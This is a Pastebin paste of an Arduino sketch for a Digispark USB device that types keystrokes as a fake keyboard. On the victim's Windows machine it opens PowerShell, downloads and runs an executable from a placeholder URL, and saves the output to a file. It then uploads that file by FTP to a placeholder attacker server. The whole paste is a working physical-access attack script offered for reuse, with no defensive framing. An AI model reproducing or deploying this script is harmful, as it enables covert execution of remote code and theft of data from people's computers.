tinwaninja

Digispark Download File Executable + Upload File

Jan 21st, 2017
169
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <NinjaKeyboard.h>
  2. EthicNinjaKeyboard en;
  3.  
  4. void setup()
  5. {
  6.   en.init(1500);
  7.   en.winRUN("powershell.exe");
  8.   en.echoEnter("$client = new-object System.Net.WebClient; $url = 'http://LINK DOWNLOAD EXE';$tempat = '\l.exe';$client.DownloadFile($url,$tempat);");
  9.   en.echoEnter(".\\NAMA_EXE.exe all > NAMA_TXT.txt");
  10.   en.echoEnter("exit");
  11.  
  12.   delay (80000);
  13.   en.winRUN("cmd.exe");
  14.   en.echoEnter("ftp ftp.SITUSMU.COM");
  15.   en.echoEnter("USERFTP@SITUSMU.COM");
  16.   en.echoEnter("PASSWDUSERFTP");
  17.   en.echoEnter("mput NAMA_TXT.txt");
  18.   en.echoEnter("y");
  19.   en.echoEnter("quit");
  20.   en.echoEnter("exit");
  21. }
  22.  
  23. void loop() {
  24.  
  25. }
RAW Paste Data Copied